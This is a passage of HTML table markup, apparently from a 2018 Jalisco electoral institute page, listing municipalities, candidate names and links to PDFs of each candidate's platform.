mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.9pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">FRANCISCO JOS\u00c9 MART\u00cdNEZ GIL<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.9pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/9.-02030-FRANCISCO-JOSE-MARTINEZ-GIL-PUERTO-VALLARTA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 19; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">PUERTO VALLARTA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">FRANCISCO ROMERO GARC\u00cdA<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/10.-07207-FRANCISCO-ROMERO-GARCIA-PUERTO-VALLARTA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 20; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">PUERTO VALLARTA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ALCARAZ L\u00d3PEZ LUIS ALBERTO<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/24.-02182-ALCARAZ-LOPEZ-LUIS-ALBERTO-PUERTO-VALLARTA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 21; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">PUERTO VALLARTA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">MART\u00cdNEZ AGUIRRE M\u00c1XIMO<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/29.-03506-MARTINEZ-AGUIRRE-MAXIMO-PUERTO-VALLARTA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 22; height: 16.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 16.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">SAN CRIST\u00d3BAL DE LA BARRANCA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 16.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">JOS\u00c9 ALFREDO CASTRO RODR\u00cdGUEZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 16.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/15.-00216-JOSE-ALFREDO-CASTRO-RODRIGUEZ-SAN-CRISTOBAL-DE-LA-BARRANCA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 23; height: 20.05pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 20.05pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">SAN JUAN DE LOS LAGOS<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 20.05pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">GUSTAVO REMBERTO CAMPOS HERN\u00c1NDEZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 20.05pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/13.-01871-GUSTAVO-REMBERTO-CAMPOS-HERNANDEZ-SAN-JUAN-DE-LOS-LAGOS.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 24; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">SAN MARTIN HIDALGO<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">EDGAR RENE RUELAS GIL<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/7.-03739-EDGAR-RENE-RUELAS-GIL-SAN-MARTIN-HIDALGO.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 25; height: 14.35pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 14.35pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">SAYULA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 14.35pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">CARRI\u00d3N CALVARIO OSCAR DANIEL<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 14.35pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/32.-1065-CARRION-CALVARIO-OSCAR-DANIEL-SAYULA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 26; height: 10.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 10.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">TALA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 10.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">CARLOS ALBERTO BLANCO N\u00da\u00d1EZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 10.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/5.-05205-CARLOS-ALBERTO-BLANCO-NU\u00d1EZ-TALA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 27; height: 3.0pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 3.0pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">TEPATITL\u00c1N DE MORELOS<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 3.0pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">GALLEGOS DE LA MORA MAR\u00cdA DEL CARMEN<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 3.0pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/26.-00271-GALLEGOS-DE-LA-MORA-MARIA-DEL-CARMEN-TEPATITLAN-DE-MORELOS.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 28; height: 8.8pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 8.8pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">TEQUILA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 8.8pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">GUSTAVO CASTA\u00d1EDA GONZ\u00c1LEZ<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 8.8pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/11.-03961-GUSTAVO-CASTA\u00d1EDA-GONZALEZ-TEQUILA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 29; height: 13.15pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 13.15pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">TLAJOMULCO<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 13.15pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">JUAN CARLOS BUSTAMANTE BARRAG\u00c1N<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 13.15pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/18.-03336-JUAN-CARLOS-BUSTAMANTE-BARRAGAN-TLAJOMULCO.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 30; height: 18.05pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 18.05pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">TLAQUEPAQUE<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 18.05pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ALBERTO ALFARO GARC\u00cdA<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 18.05pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/1.-01221-ALBERTO-ALFARO-GARCIA-TLAQUEPAQUE-.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 31; height: 15.55pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.55pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">TLAQUEPAQUE<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.55pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">GUSTAVO DE LA TORRE NAVARRO<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; 